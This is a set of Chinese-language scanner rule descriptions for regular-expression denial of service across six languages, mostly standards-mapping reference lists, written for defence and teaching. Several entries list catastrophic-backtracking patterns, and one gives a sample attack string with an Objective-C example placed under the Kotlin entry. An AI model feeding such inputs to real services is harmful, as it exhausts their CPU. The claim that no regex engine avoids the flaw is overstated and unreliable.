[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_regular_expression
Abstract
不受信数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含自重复分组表达式的正则表达式时,该漏洞会导致线程挂起。此外,还可以利用任何包含相互重叠的替代子表达式的正则表达式。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 624
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.javascript.denial_of_service_regular_expression
Abstract
不受信任数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含自重复分组表达式的正则表达式时,该漏洞会导致线程挂起。此外,还可以利用任何包含相互重叠的替代子表达式的正则表达式。攻击者可以利用此缺陷执行 Denial of Service (DoS) 攻击。
示例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 624
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.kotlin.denial_of_service_regular_expression
Abstract
不受信数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含自重复分组表达式的正则表达式时,该漏洞会导致线程挂起。此外,还可以利用任何包含相互重叠的替代子表达式的正则表达式。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:如果在已知易受攻击的代码中使用以下正则表达式,则可能发生拒绝服务攻击:

(e+)+
([a-zA-Z]+)*
(e|ee)+


依赖具有缺陷的正则表达式的问题代码示例如下:


NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
//do something
}


大多数正则表达式解析器在计算正则表达式时都会构建 Nondeterministic Finite Automaton (NFA) 结构。在找到完全匹配之前,NFA 会尝试所有可能的匹配。在上例中,如果攻击者提供匹配字符串“eeeeZ”,则正则表达式解析器必须进行 16 次内部求值才能发现匹配项。如果攻击者使用 16 个“e”(“eeeeeeeeeeeeeeeeZ”)作为匹配字符串,则正则表达式解析器必须进行 65536 (2^16) 次计算。通过增加连续的匹配字符数,攻击者可以轻易地消耗计算资源。已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 624
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.objc.denial_of_service_regular_expression
Abstract
不受信数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含自重复分组表达式的正则表达式时,该漏洞会导致线程挂起。此外,还可以利用任何包含相互重叠的替代子表达式的正则表达式。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 624
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.php.denial_of_service_regular_expression
Abstract
不受信任数据被传递至应用程序并作为正则表达式使用。 这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含自重复分组表达式的正则表达式时,该漏洞会导致线程挂起。 此外,还可以利用任何包含相互重叠的替代子表达式的正则表达式。 此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

已知的正则表达式实现方法均无法避免这种攻击。 所有平台和语言都容易受到这种攻击。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 624
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.python.denial_of_service_regular_expression
Abstract
不可信赖数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,该漏洞会导致评估线程在处理嵌套和重复的正则表达式组的重复和交替重叠时挂起。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:

(e+)+
([a-zA-Z]+)*

已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 624
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[5] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[6] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[7] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
